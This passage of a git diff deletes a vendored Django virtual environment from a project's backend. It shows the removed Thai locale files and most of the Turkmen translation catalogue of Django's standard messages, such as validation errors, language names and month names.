the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "ไม่ระบุปี" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "ไม่ระบุเดือน" - -msgid "No day specified" -msgstr "ไม่ระบุวัน" - -msgid "No week specified" -msgstr "ไม่ระบุสัปดาห์" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "ไม่มี %(verbose_name_plural)s ที่ใช้ได้" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s ในอนาคตไม่สามารถใช้ได้ เนื่องจาก %(class_name)s." -"allow_future มีค่าเป็น False" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "ไม่พบ %(verbose_name)s จาก query" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "หน้าไม่ถูกต้อง (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "ไม่ได้รับอนุญาตให้ใช้ Directory indexes ที่นี่" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "ดัชนีของ %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "เริ่มต้นกับ Django" - -msgid "Django Community" -msgstr "ชุมชน Django" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/th/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/th/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/th/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/th/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index fe7cc0bc..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/th/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/th/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/th/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index c4a12132..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/th/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/th/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/th/formats.py deleted file mode 100644 index 190e6d19..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/th/formats.py +++ /dev/null @@ -1,33 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j F Y, G:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j M Y" -SHORT_DATETIME_FORMAT = "j M Y, G:i" -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # 25/10/2006 - "%d %b %Y", # 25 ต.ค. 2006 - "%d %B %Y", # 25 ตุลาคม 2006 -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # 14:30:59 - "%H:%M:%S.%f", # 14:30:59.000200 - "%H:%M", # 14:30 -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", # 25/10/2006 14:30:59 - "%d/%m/%Y %H:%M:%S.%f", # 25/10/2006 14:30:59.000200 - "%d/%m/%Y %H:%M", # 25/10/2006 14:30 -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/tk/LC_MESSAGES/django.mo deleted file mode 100644 index 2858350f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/tk/LC_MESSAGES/django.po deleted file mode 100644 index ad000261..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/tk/LC_MESSAGES/django.po +++ /dev/null @@ -1,1337 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mariusz Felisiak , 2020-2021 -# Resul , 2020 -# Resul , 2022-2024 -# Welbeck Garli , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Resul , 2022-2024\n" -"Language-Team: Turkmen (http://app.transifex.com/django/django/language/" -"tk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tk\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arapça" - -msgid "Algerian Arabic" -msgstr "Alžir Arapçasy" - -msgid "Asturian" -msgstr "Asturian" - -msgid "Azerbaijani" -msgstr "Azeri Türkçesi" - -msgid "Bulgarian" -msgstr "Bolgar" - -msgid "Belarusian" -msgstr "Belarusça" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "Breton" - -msgid "Bosnian" -msgstr "Bosniýaça" - -msgid "Catalan" -msgstr "Katalan" - -msgid "Central Kurdish (Sorani)" -msgstr "Merkezi Kürtçe (Soraniçe)" - -msgid "Czech" -msgstr "Çehçe" - -msgid "Welsh" -msgstr "Uelsçe" - -msgid "Danish" -msgstr "Daniýaça" - -msgid "German" -msgstr "Nemesçe" - -msgid "Lower Sorbian" -msgstr "Aşaky Sorbian" - -msgid "Greek" -msgstr "Grekçe" - -msgid "English" -msgstr "Iňlisçe" - -msgid "Australian English" -msgstr "Awstraliýa Iňlisçesi" - -msgid "British English" -msgstr "Britan Iňlisçesi" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Ispança" - -msgid "Argentinian Spanish" -msgstr "Argentina Ispançasy" - -msgid "Colombian Spanish" -msgstr "Kolumbiýa Ispançasy" - -msgid "Mexican Spanish" -msgstr "Meksika Ispançasy" - -msgid "Nicaraguan Spanish" -msgstr "Nikaragua Ispançasy" - -msgid "Venezuelan Spanish" -msgstr "Wenezuela Ispançasy" - -msgid "Estonian" -msgstr "Estonça" - -msgid "Basque" -msgstr "Baskça" - -msgid "Persian" -msgstr "Parsça" - -msgid "Finnish" -msgstr "Finçe" - -msgid "French" -msgstr "Fransuzça" - -msgid "Frisian" -msgstr "Frisça" - -msgid "Irish" -msgstr "Irlandça" - -msgid "Scottish Gaelic" -msgstr "Şotlandiýa Gaelçasy" - -msgid "Galician" -msgstr "Galisiýaça" - -msgid "Hebrew" -msgstr "Ýewreýçe" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Horwatça" - -msgid "Upper Sorbian" -msgstr "Ýokarky Sorbian" - -msgid "Hungarian" -msgstr "Wengerçe" - -msgid "Armenian" -msgstr "Ermeniçe" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonezça" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandça" - -msgid "Italian" -msgstr "Italýança" - -msgid "Japanese" -msgstr "Ýaponça" - -msgid "Georgian" -msgstr "Gruzinçe" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Gazakça" - -msgid "Khmer" -msgstr "Hmerçe" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreýçe" - -msgid "Kyrgyz" -msgstr "Gyrgyzça" - -msgid "Luxembourgish" -msgstr "Lýuksemburgça" - -msgid "Lithuanian" -msgstr "Litwança" - -msgid "Latvian" -msgstr "Latwiýaça" - -msgid "Macedonian" -msgstr "Makedonça" - -msgid "Malayalam" -msgstr "Malaýalam" - -msgid "Mongolian" -msgstr "Mongolça" - -msgid "Marathi" -msgstr "Marasi" - -msgid "Malay" -msgstr "Malaý" - -msgid "Burmese" -msgstr "Birma" - -msgid "Norwegian Bokmål" -msgstr "Norwegiýa Bokmaly" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Gollandça" - -msgid "Norwegian Nynorsk" -msgstr "Norwegiýa Nynorskçasy" - -msgid "Ossetic" -msgstr "Osetikçe" - -msgid "Punjabi" -msgstr "Penjebiçe" - -msgid "Polish" -msgstr "Polýakça" - -msgid "Portuguese" -msgstr "Portugalça" - -msgid "Brazilian Portuguese" -msgstr "Braziliýa Portugalçasy" - -msgid "Romanian" -msgstr "Rumynça" - -msgid "Russian" -msgstr "Rusça" - -msgid "Slovak" -msgstr "Slowakça" - -msgid "Slovenian" -msgstr "Slowençe" - -msgid "Albanian" -msgstr "Albança" - -msgid "Serbian" -msgstr "Serbçe" - -msgid "Serbian Latin" -msgstr "Serb Latynçasy" - -msgid "Swedish" -msgstr "Şwedçe" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Täjik" - -msgid "Thai" -msgstr "Taýça" - -msgid "Turkmen" -msgstr "Türkmençe" - -msgid "Turkish" -msgstr "Türkçe" - -msgid "Tatar" -msgstr "Tatarça" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Uýgur" - -msgid "Ukrainian" -msgstr "Ukrainçe" - -msgid "Urdu" -msgstr "Urduça" - -msgid "Uzbek" -msgstr "Özbekçe" - -msgid "Vietnamese" -msgstr "Wýetnamça" - -msgid "Simplified Chinese" -msgstr "Ýönekeýleşdirilen Hytaýça" - -msgid "Traditional Chinese" -msgstr "Adaty Hytaýça" - -msgid "Messages" -msgstr "Habarlar" - -msgid "Site Maps" -msgstr "Saýt Kartalary" - -msgid "Static Files" -msgstr "Statik Faýllar" - -msgid "Syndication" -msgstr "Syndikasiýa" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Ol sahypanyň sany bitewi san däl" - -msgid "That page number is less than 1" -msgstr "Ol sahypanyň belgisi 1-den az" - -msgid "That page contains no results" -msgstr "Ol sahypada hiç hili netije ýok" - -msgid "Enter a valid value." -msgstr "Dogry baha giriziň." - -msgid "Enter a valid domain name." -msgstr "Dogry domen adyny giriziň." - -msgid "Enter a valid URL." -msgstr "Dogry URL giriziň." - -msgid "Enter a valid integer." -msgstr "Dogry bitewi san giriziň." - -msgid "Enter a valid email address." -msgstr "Dogry e-poçta salgysyny giriziň." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Harplardan, sanlardan, aşaky çyzyklardan ýa-da defislerden ybarat dogry " -"“slug” giriziň." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Unikod harplaryndan, sanlardan, aşaky çyzyklardan ýa-da defislerden ybarat " -"dogry “slug” giriziň." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Dogry %(protocol)s adresi giriziň." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 ýa IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Diňe otur bilen aýrylan sanlary giriziň." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"%(limit_value)s bahasynyň dogry bolmagyny üpjün ediň (şuwagt %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Maglumatyň %(limit_value)s bahasyndan az ýa-da deň bolmagyny üpjün ediň." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Maglumatyň %(limit_value)s bahasyndan köp ýa-da deň bolmagyny üpjün ediň." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Bu baha %(limit_value)s-nyň essesi bolmaly." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bu maglumatda iň az %(limit_value)d harp bardygyna göz ýetiriň (munda " -"%(show_value)d bar)." -msgstr[1] "" -"Bu maglumatda azyndan %(limit_value)d nyşanyň bolmagyny üpjün ediň (şuwagt " -"%(show_value)d sany bar)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bu maglumatda köpünden %(limit_value)d harp bardygyna göz ýetiriň (bunda " -"%(show_value)d bar)" -msgstr[1] "" -"Bu maglumatda iň köp %(limit_value)d nyşanyň bolmagyny üpjün ediň (şuwagt " -"%(show_value)d sany bar)" - -msgid "Enter a number." -msgstr "San giriziň" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Bu ýerde jemi %(max)s'dan köp san ýokduguna göz ýetiriň." -msgstr[1] "Bu ýerde jemi %(max)s sanydan köp sifriň bolmazlygyny üpjün ediň." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Bu ýerde %(max)s'dan köp nokatly san ýokdugyna göz ýetiriň" -msgstr[1] "Bu ýerde %(max)s sanydan köp nokatly san ýoklugyny üpjün ediň." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Nokatdan öň %(max)s'dan köp san ýokdugyna göz ýetiriň" -msgstr[1] "Nokatdan öň %(max)s sanydan köp sifriň ýoklugyny üpjün ediň." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"\"%(extension)s\" faýl görnüşine rugsat edilmeýär. Rugsat berilýän faýl " -"görnüşleri şulardan ybarat: %(allowed_extensions)s" - -msgid "Null characters are not allowed." -msgstr "Null nyşanlara rugsat berilmeýär." - -msgid "and" -msgstr "we" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(field_labels)s bilen baglanyşykly %(model_name)s eýýäm bar." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Çäklendirme “%(name)s” bozuldy." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r dogry saýlaw däl." - -msgid "This field cannot be null." -msgstr "Bu meýdan null bilmez." - -msgid "This field cannot be blank." -msgstr "Bu meýdan boş bolup bilmez." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(field_label)s bilen baglanyşykly %(model_name)s eýýäm bar." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(lookup_type)s %(date_field_label)s üçin %(field_label)s özboluşly " -"bolmalydyr." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Meýdan görnüşi: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "\"%(value)s\" hökman True ýa-da False bolmalydyr." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "\"%(value)s\" hökman True, False ýa-da None bolmalydyr." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (True ýa-da False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Setir (iň köp %(max_length)s)" - -msgid "String (unlimited)" -msgstr "String (limitsiz)" - -msgid "Comma-separated integers" -msgstr "Otur bilen bölünen bitewi sanlar" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"\"%(value)s\" bahasynyň nädogry sene formaty bar. ÝÝÝÝ-AA-GG görnüşinde " -"bolmaly." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"\"%(value)s\" dogry yazylyş usuluna (ÝÝÝÝ-AA-GG) eýe, ýöne, sene nädogry." - -msgid "Date (without time)" -msgstr "Sene (wagtsyz)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"\"%(value)s\" ýalňyş görnüşde ýazylan. Bu baha hökmany suratda ÝÝÝÝ-AA-GG SS:" -"MM[:ss[.uuuuuu]][TZ] görnüşde bolmalydyr." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"\"%(value)s\" dogry sene görnüşine eýe (ÝÝÝÝ-AA-GG SS:MM[:ss[.uuuuuu]][TZ]). " -"Ýöne bu nädogry sene/wagt." - -msgid "Date (with time)" -msgstr "Sene (wagty bilen)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "\"%(value)s\" hökman nokatly san bolmalydyr." - -msgid "Decimal number" -msgstr "Onluk san" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"\"%(value)s\" ýalňyş sene görnüşine eýe. Bu hökman [GG] [[SS:]AA:]ss[." -"uuuuuu] görnüşinde bolmalydyr." - -msgid "Duration" -msgstr "Dowamlylyk" - -msgid "Email address" -msgstr "Email adres" - -msgid "File path" -msgstr "Faýl ýoly" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "\"%(value)s float san bolmaly." - -msgid "Floating point number" -msgstr "Float san" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "\"%(value)s\" bitewi san bolmaly." - -msgid "Integer" -msgstr "Bitewi san" - -msgid "Big (8 byte) integer" -msgstr "Uly (8 baýt) bitewi san" - -msgid "Small integer" -msgstr "Kiçi bitewi san" - -msgid "IPv4 address" -msgstr "IPv4 salgy" - -msgid "IP address" -msgstr "IP salgy" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "\"%(value)s\" None, True ýa-da False bolmaly." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (True, False ýa-da None)" - -msgid "Positive big integer" -msgstr "Pozitiw uly bitewi san" - -msgid "Positive integer" -msgstr "Pozitiw bitewi san" - -msgid "Positive small integer" -msgstr "Pozitiw kiçi bitewi san" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (iň köp %(max_length)s)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"\"%(value)s\" bahasy nädogry formata eýe. SS:MM[:ss[.uuuuuu]] formatda " -"bolmaly." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"\"%(value)s\" bahasy dogry formata eýe (SS:MM[:ss[.uuuuuu]]) ýöne bu nädogry " -"wagt." - -msgid "Time" -msgstr "Wagt" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Çig ikilik maglumat" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" dogry UUID däl." - -msgid "Universally unique identifier" -msgstr "Ähliumumy özboluşly kesgitleýji" - -msgid "File" -msgstr "Faýl" - -msgid "Image" -msgstr "Surat" - -msgid "A JSON object" -msgstr "JSON obýekti" - -msgid "Value must be valid JSON." -msgstr "Bahasy JSON bolmaly." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(field)s%(value)r bolan %(model)s ýok." - -msgid "Foreign Key (type determined by related field)" -msgstr "Daşary açary (baglanyşykly meýdança bilen kesgitlenýär)" - -msgid "One-to-one relationship" -msgstr "Bire-bir gatnaşyk" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s gatnaşyk" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s gatnaşyklar" - -msgid "Many-to-many relationship" -msgstr "Köp-köp gatnaşyk" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Bu meýdança hökman gerekli." - -msgid "Enter a whole number." -msgstr "Bitin san giriziň." - -msgid "Enter a valid date." -msgstr "Dogry senäni giriziň." - -msgid "Enter a valid time." -msgstr "Dogry wagt giriziň." - -msgid "Enter a valid date/time." -msgstr "Dogry senäni/wagty giriziň." - -msgid "Enter a valid duration." -msgstr "Dogry dowamlylygy giriziň." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Günleriň sany {min_days} bilen {max_days} arasynda bolmaly." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Hiç hili faýl tabşyrylmady. Formadaky enkodiň görnüşini barlaň." - -msgid "No file was submitted." -msgstr "Hiç hili faýl tabşyrylmady." - -msgid "The submitted file is empty." -msgstr "Tabşyrylan faýl boş." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Bu faýl adynyň iň köp %(max)d nyşanynyň bolmagyny üpjin ediň (şuwagt " -"%(length)d sany bar)." -msgstr[1] "" -"Bu faýl adynyň iň köp %(max)d nyşanynyň bolmagyny üpjin ediň (şuwagt " -"%(length)d sany bar)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Bir faýl iberiň ýa-da arassala gutyjygyny belläň, ikisini bile däl." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Dogry surat ýükläň. Ýüklän faýlyňyz ýa surat däldi ýa-da zaýalanan suratdy." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Dogry saýlawy saýlaň. %(value)s elýeterli saýlawlaryň biri däl." - -msgid "Enter a list of values." -msgstr "Bahalaryň sanawyny giriziň." - -msgid "Enter a complete value." -msgstr "Doly bahany giriziň." - -msgid "Enter a valid UUID." -msgstr "Dogry UUID giriziň." - -msgid "Enter a valid JSON." -msgstr "Dogry JSON giriziň." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Gizlin meýdan %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm maglumatlary ýok ýa-da bozulan. Tapylmadyk meýdança: " -"%(field_names)s. Mesele dowam etse, \"bug report\" açmaly bolmagyňyz mümkin." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Haýyş, iň köp %(num)d form tabşyryň." -msgstr[1] "Haýyş, iň köp %(num)d form tabşyryň." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Haýyş, azyndan %(num)d form tabşyryň." -msgstr[1] "Haýyş, azyndan %(num)d form tabşyryň." - -msgid "Order" -msgstr "Tertip" - -msgid "Delete" -msgstr "Poz" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s üçin dublikat maglumatlary düzediň." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Özboluşly bolmaly %(field)s üçin dublikat maglumatlary düzediň." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(date_field)s meýdanynda %(lookup)süçin özboluşly bolmaly %(field_name)s " -"üçin dublikat maglumatlary düzediň." - -msgid "Please correct the duplicate values below." -msgstr "Aşakdaky dublikat bahalary düzediň." - -msgid "The inline value did not match the parent instance." -msgstr "Giriş bahasy esasy mysal bilen gabat gelmedi." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Dogry saýlawy saýlaň. Bu saýlaw, elýeterli saýlawlaryň biri däl." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" dogry baha däl." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s wagty %(current_timezone)s wagt zolagy bilen düşündirip " -"bolmady; garyşyk bolup biler ýa-da ýok bolmagy mümkin." - -msgid "Clear" -msgstr "Arassala" - -msgid "Currently" -msgstr "Häzirki wagtda" - -msgid "Change" -msgstr "Üýtget" - -msgid "Unknown" -msgstr "Näbelli" - -msgid "Yes" -msgstr "Hawa" - -msgid "No" -msgstr "Ýok" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "hawa,ýok,belki" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d baýt" -msgstr[1] "%(size)d baýt" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m" - -msgid "a.m." -msgstr "a.m" - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "ýary gije" - -msgid "noon" -msgstr "günortan" - -msgid "Monday" -msgstr "Duşenbe" - -msgid "Tuesday" -msgstr "Sişenbe" - -msgid "Wednesday" -msgstr "Çarşenbe" - -msgid "Thursday" -msgstr "Penşenbe" - -msgid "Friday" -msgstr "Anna" - -msgid "Saturday" -msgstr "Şenbe" - -msgid "Sunday" -msgstr "Ýekşenbe" - -msgid "Mon" -msgstr "Duş" - -msgid "Tue" -msgstr "Siş" - -msgid "Wed" -msgstr "Çarş" - -msgid "Thu" -msgstr "Pen" - -msgid "Fri" -msgstr "Anna" - -msgid "Sat" -msgstr "Şen" - -msgid "Sun" -msgstr "Ýek" - -msgid "January" -msgstr "Ýanwar" - -msgid "February" -msgstr "Fewral" - -msgid "March" -msgstr "Mart" - -msgid "April" -msgstr "Aprel" - -msgid "May" -msgstr "Maý" - -msgid "June" -msgstr "Iýun" - -msgid "July" -msgstr "Iýul" - -msgid "August" -msgstr "Awgust" - -msgid "September" -msgstr "Sentýabr" - -msgid "October" -msgstr "Oktýabr" - -msgid "November" -msgstr "Noýabr" - -msgid "December" -msgstr "Dekabr" - -msgid "jan" -msgstr "ýan" - -msgid "feb" -msgstr "few" - -msgid "mar" -msgstr "mart" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "maý" - -msgid "jun" -msgstr "iýun" - -msgid "jul" -msgstr "iýul" - -msgid "aug" -msgstr "awg" - -msgid "sep" -msgstr "sent" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "noý" - -msgid "dec" -msgstr "dek" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ýan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Few." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mart" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Aprel" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maý" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Iýun" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Iýul" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Awg." - -msgctxt "abbrev. month" -msgid 